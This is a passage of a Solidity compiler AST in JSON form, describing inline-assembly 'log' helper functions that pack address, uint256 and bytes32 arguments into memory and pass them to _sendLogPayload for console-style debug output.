27246:5:22"},{"name":"w","nativeSrc":"27253:1:22","nodeType":"YulIdentifier","src":"27253:1:22"}],"functionName":{"name":"shr","nativeSrc":"27242:3:22","nodeType":"YulIdentifier","src":"27242:3:22"},"nativeSrc":"27242:13:22","nodeType":"YulFunctionCall","src":"27242:13:22"}],"functionName":{"name":"shl","nativeSrc":"27231:3:22","nodeType":"YulIdentifier","src":"27231:3:22"},"nativeSrc":"27231:25:22","nodeType":"YulFunctionCall","src":"27231:25:22"}],"functionName":{"name":"mstore","nativeSrc":"27208:6:22","nodeType":"YulIdentifier","src":"27208:6:22"},"nativeSrc":"27208:49:22","nodeType":"YulFunctionCall","src":"27208:49:22"},"nativeSrc":"27208:49:22","nodeType":"YulExpressionStatement","src":"27208:49:22"}]},"name":"writeString","nativeSrc":"26929:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"26950:3:22","nodeType":"YulTypedName","src":"26950:3:22","type":""},{"name":"w","nativeSrc":"26955:1:22","nodeType":"YulTypedName","src":"26955:1:22","type":""}],"src":"26929:342:22"},{"nativeSrc":"27284:17:22","nodeType":"YulAssignment","src":"27284:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"27296:4:22","nodeType":"YulLiteral","src":"27296:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"27290:5:22","nodeType":"YulIdentifier","src":"27290:5:22"},"nativeSrc":"27290:11:22","nodeType":"YulFunctionCall","src":"27290:11:22"},"variableNames":[{"name":"m0","nativeSrc":"27284:2:22","nodeType":"YulIdentifier","src":"27284:2:22"}]},{"nativeSrc":"27314:17:22","nodeType":"YulAssignment","src":"27314:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"27326:4:22","nodeType":"YulLiteral","src":"27326:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"27320:5:22","nodeType":"YulIdentifier","src":"27320:5:22"},"nativeSrc":"27320:11:22","nodeType":"YulFunctionCall","src":"27320:11:22"},"variableNames":[{"name":"m1","nativeSrc":"27314:2:22","nodeType":"YulIdentifier","src":"27314:2:22"}]},{"nativeSrc":"27344:17:22","nodeType":"YulAssignment","src":"27344:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"27356:4:22","nodeType":"YulLiteral","src":"27356:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"27350:5:22","nodeType":"YulIdentifier","src":"27350:5:22"},"nativeSrc":"27350:11:22","nodeType":"YulFunctionCall","src":"27350:11:22"},"variableNames":[{"name":"m2","nativeSrc":"27344:2:22","nodeType":"YulIdentifier","src":"27344:2:22"}]},{"nativeSrc":"27374:17:22","nodeType":"YulAssignment","src":"27374:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"27386:4:22","nodeType":"YulLiteral","src":"27386:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"27380:5:22","nodeType":"YulIdentifier","src":"27380:5:22"},"nativeSrc":"27380:11:22","nodeType":"YulFunctionCall","src":"27380:11:22"},"variableNames":[{"name":"m3","nativeSrc":"27374:2:22","nodeType":"YulIdentifier","src":"27374:2:22"}]},{"nativeSrc":"27404:17:22","nodeType":"YulAssignment","src":"27404:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"27416:4:22","nodeType":"YulLiteral","src":"27416:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"27410:5:22","nodeType":"YulIdentifier","src":"27410:5:22"},"nativeSrc":"27410:11:22","nodeType":"YulFunctionCall","src":"27410:11:22"},"variableNames":[{"name":"m4","nativeSrc":"27404:2:22","nodeType":"YulIdentifier","src":"27404:2:22"}]},{"nativeSrc":"27434:17:22","nodeType":"YulAssignment","src":"27434:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"27446:4:22","nodeType":"YulLiteral","src":"27446:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"27440:5:22","nodeType":"YulIdentifier","src":"27440:5:22"},"nativeSrc":"27440:11:22","nodeType":"YulFunctionCall","src":"27440:11:22"},"variableNames":[{"name":"m5","nativeSrc":"27434:2:22","nodeType":"YulIdentifier","src":"27434:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"27529:4:22","nodeType":"YulLiteral","src":"27529:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"27535:10:22","nodeType":"YulLiteral","src":"27535:10:22","type":"","value":"0xa1f2e8aa"}],"functionName":{"name":"mstore","nativeSrc":"27522:6:22","nodeType":"YulIdentifier","src":"27522:6:22"},"nativeSrc":"27522:24:22","nodeType":"YulFunctionCall","src":"27522:24:22"},"nativeSrc":"27522:24:22","nodeType":"YulExpressionStatement","src":"27522:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"27566:4:22","nodeType":"YulLiteral","src":"27566:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"27572:2:22","nodeType":"YulIdentifier","src":"27572:2:22"}],"functionName":{"name":"mstore","nativeSrc":"27559:6:22","nodeType":"YulIdentifier","src":"27559:6:22"},"nativeSrc":"27559:16:22","nodeType":"YulFunctionCall","src":"27559:16:22"},"nativeSrc":"27559:16:22","nodeType":"YulExpressionStatement","src":"27559:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"27595:4:22","nodeType":"YulLiteral","src":"27595:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"27601:2:22","nodeType":"YulIdentifier","src":"27601:2:22"}],"functionName":{"name":"mstore","nativeSrc":"27588:6:22","nodeType":"YulIdentifier","src":"27588:6:22"},"nativeSrc":"27588:16:22","nodeType":"YulFunctionCall","src":"27588:16:22"},"nativeSrc":"27588:16:22","nodeType":"YulExpressionStatement","src":"27588:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"27624:4:22","nodeType":"YulLiteral","src":"27624:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"27630:4:22","nodeType":"YulLiteral","src":"27630:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"27617:6:22","nodeType":"YulIdentifier","src":"27617:6:22"},"nativeSrc":"27617:18:22","nodeType":"YulFunctionCall","src":"27617:18:22"},"nativeSrc":"27617:18:22","nodeType":"YulExpressionStatement","src":"27617:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"27660:4:22","nodeType":"YulLiteral","src":"27660:4:22","type":"","value":"0x80"},{"name":"p2","nativeSrc":"27666:2:22","nodeType":"YulIdentifier","src":"27666:2:22"}],"functionName":{"name":"writeString","nativeSrc":"27648:11:22","nodeType":"YulIdentifier","src":"27648:11:22"},"nativeSrc":"27648:21:22","nodeType":"YulFunctionCall","src":"27648:21:22"},"nativeSrc":"27648:21:22","nodeType":"YulExpressionStatement","src":"27648:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34543,"isOffset":false,"isSlot":false,"src":"27284:2:22","valueSize":1},{"declaration":34546,"isOffset":false,"isSlot":false,"src":"27314:2:22","valueSize":1},{"declaration":34549,"isOffset":false,"isSlot":false,"src":"27344:2:22","valueSize":1},{"declaration":34552,"isOffset":false,"isSlot":false,"src":"27374:2:22","valueSize":1},{"declaration":34555,"isOffset":false,"isSlot":false,"src":"27404:2:22","valueSize":1},{"declaration":34558,"isOffset":false,"isSlot":false,"src":"27434:2:22","valueSize":1},{"declaration":34535,"isOffset":false,"isSlot":false,"src":"27572:2:22","valueSize":1},{"declaration":34537,"isOffset":false,"isSlot":false,"src":"27601:2:22","valueSize":1},{"declaration":34539,"isOffset":false,"isSlot":false,"src":"27666:2:22","valueSize":1}],"id":34560,"nodeType":"InlineAssembly","src":"26906:773:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34562,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"27704:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":34563,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"27710:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":34561,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"27688:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34564,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27688:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34565,"nodeType":"ExpressionStatement","src":"27688:27:22"},{"AST":{"nativeSrc":"27734:185:22","nodeType":"YulBlock","src":"27734:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"27755:4:22","nodeType":"YulLiteral","src":"27755:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"27761:2:22","nodeType":"YulIdentifier","src":"27761:2:22"}],"functionName":{"name":"mstore","nativeSrc":"27748:6:22","nodeType":"YulIdentifier","src":"27748:6:22"},"nativeSrc":"27748:16:22","nodeType":"YulFunctionCall","src":"27748:16:22"},"nativeSrc":"27748:16:22","nodeType":"YulExpressionStatement","src":"27748:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"27784:4:22","nodeType":"YulLiteral","src":"27784:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"27790:2:22","nodeType":"YulIdentifier","src":"27790:2:22"}],"functionName":{"name":"mstore","nativeSrc":"27777:6:22","nodeType":"YulIdentifier","src":"27777:6:22"},"nativeSrc":"27777:16:22","nodeType":"YulFunctionCall","src":"27777:16:22"},"nativeSrc":"27777:16:22","nodeType":"YulExpressionStatement","src":"27777:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"27813:4:22","nodeType":"YulLiteral","src":"27813:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"27819:2:22","nodeType":"YulIdentifier","src":"27819:2:22"}],"functionName":{"name":"mstore","nativeSrc":"27806:6:22","nodeType":"YulIdentifier","src":"27806:6:22"},"nativeSrc":"27806:16:22","nodeType":"YulFunctionCall","src":"27806:16:22"},"nativeSrc":"27806:16:22","nodeType":"YulExpressionStatement","src":"27806:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"27842:4:22","nodeType":"YulLiteral","src":"27842:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"27848:2:22","nodeType":"YulIdentifier","src":"27848:2:22"}],"functionName":{"name":"mstore","nativeSrc":"27835:6:22","nodeType":"YulIdentifier","src":"27835:6:22"},"nativeSrc":"27835:16:22","nodeType":"YulFunctionCall","src":"27835:16:22"},"nativeSrc":"27835:16:22","nodeType":"YulExpressionStatement","src":"27835:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"27871:4:22","nodeType":"YulLiteral","src":"27871:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"27877:2:22","nodeType":"YulIdentifier","src":"27877:2:22"}],"functionName":{"name":"mstore","nativeSrc":"27864:6:22","nodeType":"YulIdentifier","src":"27864:6:22"},"nativeSrc":"27864:16:22","nodeType":"YulFunctionCall","src":"27864:16:22"},"nativeSrc":"27864:16:22","nodeType":"YulExpressionStatement","src":"27864:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"27900:4:22","nodeType":"YulLiteral","src":"27900:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"27906:2:22","nodeType":"YulIdentifier","src":"27906:2:22"}],"functionName":{"name":"mstore","nativeSrc":"27893:6:22","nodeType":"YulIdentifier","src":"27893:6:22"},"nativeSrc":"27893:16:22","nodeType":"YulFunctionCall","src":"27893:16:22"},"nativeSrc":"27893:16:22","nodeType":"YulExpressionStatement","src":"27893:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34543,"isOffset":false,"isSlot":false,"src":"27761:2:22","valueSize":1},{"declaration":34546,"isOffset":false,"isSlot":false,"src":"27790:2:22","valueSize":1},{"declaration":34549,"isOffset":false,"isSlot":false,"src":"27819:2:22","valueSize":1},{"declaration":34552,"isOffset":false,"isSlot":false,"src":"27848:2:22","valueSize":1},{"declaration":34555,"isOffset":false,"isSlot":false,"src":"27877:2:22","valueSize":1},{"declaration":34558,"isOffset":false,"isSlot":false,"src":"27906:2:22","valueSize":1}],"id":34566,"nodeType":"InlineAssembly","src":"27725:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"26722:3:22","parameters":{"id":34540,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34535,"mutability":"mutable","name":"p0","nameLocation":"26734:2:22","nodeType":"VariableDeclaration","scope":34568,"src":"26726:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34534,"name":"address","nodeType":"ElementaryTypeName","src":"26726:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34537,"mutability":"mutable","name":"p1","nameLocation":"26746:2:22","nodeType":"VariableDeclaration","scope":34568,"src":"26738:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":34536,"name":"uint256","nodeType":"ElementaryTypeName","src":"26738:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":34539,"mutability":"mutable","name":"p2","nameLocation":"26758:2:22","nodeType":"VariableDeclaration","scope":34568,"src":"26750:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34538,"name":"bytes32","nodeType":"ElementaryTypeName","src":"26750:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"26725:36:22"},"returnParameters":{"id":34541,"nodeType":"ParameterList","parameters":[],"src":"26776:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34603,"nodeType":"FunctionDefinition","src":"27931:1212:22","nodes":[],"body":{"id":34602,"nodeType":"Block","src":"27994:1149:22","nodes":[],"statements":[{"assignments":[34578],"declarations":[{"constant":false,"id":34578,"mutability":"mutable","name":"m0","nameLocation":"28012:2:22","nodeType":"VariableDeclaration","scope":34602,"src":"28004:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34577,"name":"bytes32","nodeType":"ElementaryTypeName","src":"28004:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34579,"nodeType":"VariableDeclarationStatement","src":"28004:10:22"},{"assignments":[34581],"declarations":[{"constant":false,"id":34581,"mutability":"mutable","name":"m1","nameLocation":"28032:2:22","nodeType":"VariableDeclaration","scope":34602,"src":"28024:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34580,"name":"bytes32","nodeType":"ElementaryTypeName","src":"28024:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34582,"nodeType":"VariableDeclarationStatement","src":"28024:10:22"},{"assignments":[34584],"declarations":[{"constant":false,"id":34584,"mutability":"mutable","name":"m2","nameLocation":"28052:2:22","nodeType":"VariableDeclaration","scope":34602,"src":"28044:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34583,"name":"bytes32","nodeType":"ElementaryTypeName","src":"28044:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34585,"nodeType":"VariableDeclarationStatement","src":"28044:10:22"},{"assignments":[34587],"declarations":[{"constant":false,"id":34587,"mutability":"mutable","name":"m3","nameLocation":"28072:2:22","nodeType":"VariableDeclaration","scope":34602,"src":"28064:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34586,"name":"bytes32","nodeType":"ElementaryTypeName","src":"28064:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34588,"nodeType":"VariableDeclarationStatement","src":"28064:10:22"},{"assignments":[34590],"declarations":[{"constant":false,"id":34590,"mutability":"mutable","name":"m4","nameLocation":"28092:2:22","nodeType":"VariableDeclaration","scope":34602,"src":"28084:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34589,"name":"bytes32","nodeType":"ElementaryTypeName","src":"28084:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34591,"nodeType":"VariableDeclarationStatement","src":"28084:10:22"},{"assignments":[34593],"declarations":[{"constant":false,"id":34593,"mutability":"mutable","name":"m5","nameLocation":"28112:2:22","nodeType":"VariableDeclaration","scope":34602,"src":"28104:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34592,"name":"bytes32","nodeType":"ElementaryTypeName","src":"28104:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34594,"nodeType":"VariableDeclarationStatement","src":"28104:10:22"},{"AST":{"nativeSrc":"28133:764:22","nodeType":"YulBlock","src":"28133:764:22","statements":[{"body":{"nativeSrc":"28176:313:22","nodeType":"YulBlock","src":"28176:313:22","statements":[{"nativeSrc":"28194:15:22","nodeType":"YulVariableDeclaration","src":"28194:15:22","value":{"kind":"number","nativeSrc":"28208:1:22","nodeType":"YulLiteral","src":"28208:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"28198:6:22","nodeType":"YulTypedName","src":"28198:6:22","type":""}]},{"body":{"nativeSrc":"28279:40:22","nodeType":"YulBlock","src":"28279:40:22","statements":[{"body":{"nativeSrc":"28308:9:22","nodeType":"YulBlock","src":"28308:9:22","statements":[{"nativeSrc":"28310:5:22","nodeType":"YulBreak","src":"28310:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"28296:6:22","nodeType":"YulIdentifier","src":"28296:6:22"},{"name":"w","nativeSrc":"28304:1:22","nodeType":"YulIdentifier","src":"28304:1:22"}],"functionName":{"name":"byte","nativeSrc":"28291:4:22","nodeType":"YulIdentifier","src":"28291:4:22"},"nativeSrc":"28291:15:22","nodeType":"YulFunctionCall","src":"28291:15:22"}],"functionName":{"name":"iszero","nativeSrc":"28284:6:22","nodeType":"YulIdentifier","src":"28284:6:22"},"nativeSrc":"28284:23:22","nodeType":"YulFunctionCall","src":"28284:23:22"},"nativeSrc":"28281:36:22","nodeType":"YulIf","src":"28281:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"28236:6:22","nodeType":"YulIdentifier","src":"28236:6:22"},{"kind":"number","nativeSrc":"28244:4:22","nodeType":"YulLiteral","src":"28244:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"28233:2:22","nodeType":"YulIdentifier","src":"28233:2:22"},"nativeSrc":"28233:16:22","nodeType":"YulFunctionCall","src":"28233:16:22"},"nativeSrc":"28226:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"28250:28:22","nodeType":"YulBlock","src":"28250:28:22","statements":[{"nativeSrc":"28252:24:22","nodeType":"YulAssignment","src":"28252:24:22","value":{"arguments":[{"name":"length","nativeSrc":"28266:6:22","nodeType":"YulIdentifier","src":"28266:6:22"},{"kind":"number","nativeSrc":"28274:1:22","nodeType":"YulLiteral","src":"28274:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"28262:3:22","nodeType":"YulIdentifier","src":"28262:3:22"},"nativeSrc":"28262:14:22","nodeType":"YulFunctionCall","src":"28262:14:22"},"variableNames":[{"name":"length","nativeSrc":"28252:6:22","nodeType":"YulIdentifier","src":"28252:6:22"}]}]},"pre":{"nativeSrc":"28230:2:22","nodeType":"YulBlock","src":"28230:2:22","statements":[]},"src":"28226:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"28343:3:22","nodeType":"YulIdentifier","src":"28343:3:22"},{"name":"length","nativeSrc":"28348:6:22","nodeType":"YulIdentifier","src":"28348:6:22"}],"functionName":{"name":"mstore","nativeSrc":"28336:6:22","nodeType":"YulIdentifier","src":"28336:6:22"},"nativeSrc":"28336:19:22","nodeType":"YulFunctionCall","src":"28336:19:22"},"nativeSrc":"28336:19:22","nodeType":"YulExpressionStatement","src":"28336:19:22"},{"nativeSrc":"28372:37:22","nodeType":"YulVariableDeclaration","src":"28372:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"28389:3:22","nodeType":"YulLiteral","src":"28389:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"28398:1:22","nodeType":"YulLiteral","src":"28398:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"28401:6:22","nodeType":"YulIdentifier","src":"28401:6:22"}],"functionName":{"name":"shl","nativeSrc":"28394:3:22","nodeType":"YulIdentifier","src":"28394:3:22"},"nativeSrc":"28394:14:22","nodeType":"YulFunctionCall","src":"28394:14:22"}],"functionName":{"name":"sub","nativeSrc":"28385:3:22","nodeType":"YulIdentifier","src":"28385:3:22"},"nativeSrc":"28385:24:22","nodeType":"YulFunctionCall","src":"28385:24:22"},"variables":[{"name":"shift","nativeSrc":"28376:5:22","nodeType":"YulTypedName","src":"28376:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"28437:3:22","nodeType":"YulIdentifier","src":"28437:3:22"},{"kind":"number","nativeSrc":"28442:4:22","nodeType":"YulLiteral","src":"28442:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"28433:3:22","nodeType":"YulIdentifier","src":"28433:3:22"},"nativeSrc":"28433:14:22","nodeType":"YulFunctionCall","src":"28433:14:22"},{"arguments":[{"name":"shift","nativeSrc":"28453:5:22","nodeType":"YulIdentifier","src":"28453:5:22"},{"arguments":[{"name":"shift","nativeSrc":"28464:5:22","nodeType":"YulIdentifier","src":"28464:5:22"},{"name":"w","nativeSrc":"28471:1:22","nodeType":"YulIdentifier","src":"28471:1:22"}],"functionName":{"name":"shr","nativeSrc":"28460:3:22","nodeType":"YulIdentifier","src":"28460:3:22"},"nativeSrc":"28460:13:22","nodeType":"YulFunctionCall","src":"28460:13:22"}],"functionName":{"name":"shl","nativeSrc":"28449:3:22","nodeType":"YulIdentifier","src":"28449:3:22"},"nativeSrc":"28449:25:22","nodeType":"YulFunctionCall","src":"28449:25:22"}],"functionName":{"name":"mstore","nativeSrc":"28426:6:22","nodeType":"YulIdentifier","src":"28426:6:22"},"nativeSrc":"28426:49:22","nodeType":"YulFunctionCall","src":"28426:49:22"},"nativeSrc":"28426:49:22","nodeType":"YulExpressionStatement","src":"28426:49:22"}]},"name":"writeString","nativeSrc":"28147:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"28168:3:22","nodeType":"YulTypedName","src":"28168:3:22","type":""},{"name":"w","nativeSrc":"28173:1:22","nodeType":"YulTypedName","src":"28173:1:22","type":""}],"src":"28147:342:22"},{"nativeSrc":"28502:17:22","nodeType":"YulAssignment","src":"28502:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"28514:4:22","nodeType":"YulLiteral","src":"28514:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"28508:5:22","nodeType":"YulIdentifier","src":"28508:5:22"},"nativeSrc":"28508:11:22","nodeType":"YulFunctionCall","src":"28508:11:22"},"variableNames":[{"name":"m0","nativeSrc":"28502:2:22","nodeType":"YulIdentifier","src":"28502:2:22"}]},{"nativeSrc":"28532:17:22","nodeType":"YulAssignment","src":"28532:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"28544:4:22","nodeType":"YulLiteral","src":"28544:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"28538:5:22","nodeType":"YulIdentifier","src":"28538:5:22"},"nativeSrc":"28538:11:22","nodeType":"YulFunctionCall","src":"28538:11:22"},"variableNames":[{"name":"m1","nativeSrc":"28532:2:22","nodeType":"YulIdentifier","src":"28532:2:22"}]},{"nativeSrc":"28562:17:22","nodeType":"YulAssignment","src":"28562:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"28574:4:22","nodeType":"YulLiteral","src":"28574:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"28568:5:22","nodeType":"YulIdentifier","src":"28568:5:22"},"nativeSrc":"28568:11:22","nodeType":"YulFunctionCall","src":"28568:11:22"},"variableNames":[{"name":"m2","nativeSrc":"28562:2:22","nodeType":"YulIdentifier","src":"28562:2:22"}]},{"nativeSrc":"28592:17:22","nodeType":"YulAssignment","src":"28592:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"28604:4:22","nodeType":"YulLiteral","src":"28604:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"28598:5:22","nodeType":"YulIdentifier","src":"28598:5:22"},"nativeSrc":"28598:11:22","nodeType":"YulFunctionCall","src":"28598:11:22"},"variableNames":[{"name":"m3","nativeSrc":"28592:2:22","nodeType":"YulIdentifier","src":"28592:2:22"}]},{"nativeSrc":"28622:17:22","nodeType":"YulAssignment","src":"28622:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"28634:4:22","nodeType":"YulLiteral","src":"28634:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"28628:5:22","nodeType":"YulIdentifier","src":"28628:5:22"},"nativeSrc":"28628:11:22","nodeType":"YulFunctionCall","src":"28628:11:22"},"variableNames":[{"name":"m4","nativeSrc":"28622:2:22","nodeType":"YulIdentifier","src":"28622:2:22"}]},{"nativeSrc":"28652:17:22","nodeType":"YulAssignment","src":"28652:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"28664:4:22","nodeType":"YulLiteral","src":"28664:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"28658:5:22","nodeType":"YulIdentifier","src":"28658:5:22"},"nativeSrc":"28658:11:22","nodeType":"YulFunctionCall","src":"28658:11:22"},"variableNames":[{"name":"m5","nativeSrc":"28652:2:22","nodeType":"YulIdentifier","src":"28652:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"28747:4:22","nodeType":"YulLiteral","src":"28747:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"28753:10:22","nodeType":"YulLiteral","src":"28753:10:22","type":"","value":"0xf08744e8"}],"functionName":{"name":"mstore","nativeSrc":"28740:6:22","nodeType":"YulIdentifier","src":"28740:6:22"},"nativeSrc":"28740:24:22","nodeType":"YulFunctionCall","src":"28740:24:22"},"nativeSrc":"28740:24:22","nodeType":"YulExpressionStatement","src":"28740:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"28784:4:22","nodeType":"YulLiteral","src":"28784:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"28790:2:22","nodeType":"YulIdentifier","src":"28790:2:22"}],"functionName":{"name":"mstore","nativeSrc":"28777:6:22","nodeType":"YulIdentifier","src":"28777:6:22"},"nativeSrc":"28777:16:22","nodeType":"YulFunctionCall","src":"28777:16:22"},"nativeSrc":"28777:16:22","nodeType":"YulExpressionStatement","src":"28777:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"28813:4:22","nodeType":"YulLiteral","src":"28813:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"28819:4:22","nodeType":"YulLiteral","src":"28819:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"28806:6:22","nodeType":"YulIdentifier","src":"28806:6:22"},"nativeSrc":"28806:18:22","nodeType":"YulFunctionCall","src":"28806:18:22"},"nativeSrc":"28806:18:22","nodeType":"YulExpressionStatement","src":"28806:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"28844:4:22","nodeType":"YulLiteral","src":"28844:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"28850:2:22","nodeType":"YulIdentifier","src":"28850:2:22"}],"functionName":{"name":"mstore","nativeSrc":"28837:6:22","nodeType":"YulIdentifier","src":"28837:6:22"},"nativeSrc":"28837:16:22","nodeType":"YulFunctionCall","src":"28837:16:22"},"nativeSrc":"28837:16:22","nodeType":"YulExpressionStatement","src":"28837:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"28878:4:22","nodeType":"YulLiteral","src":"28878:4:22","type":"","value":"0x80"},{"name":"p1","nativeSrc":"28884:2:22","nodeType":"YulIdentifier","src":"28884:2:22"}],"functionName":{"name":"writeString","nativeSrc":"28866:11:22","nodeType":"YulIdentifier","src":"28866:11:22"},"nativeSrc":"28866:21:22","nodeType":"YulFunctionCall","src":"28866:21:22"},"nativeSrc":"28866:21:22","nodeType":"YulExpressionStatement","src":"28866:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34578,"isOffset":false,"isSlot":false,"src":"28502:2:22","valueSize":1},{"declaration":34581,"isOffset":false,"isSlot":false,"src":"28532:2:22","valueSize":1},{"declaration":34584,"isOffset":false,"isSlot":false,"src":"28562: